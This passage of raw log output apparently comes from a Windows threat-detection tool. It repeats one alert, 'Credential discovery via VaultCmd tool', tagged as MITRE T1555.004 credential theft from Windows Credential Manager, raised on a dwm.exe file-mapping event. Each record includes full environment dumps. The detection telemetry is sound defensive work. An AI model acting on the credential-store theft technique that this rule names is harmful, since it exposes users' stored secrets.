ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: technique.id: T1555, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555, tactic.name: Credential Access + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555, tactic.name: Credential Access + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: 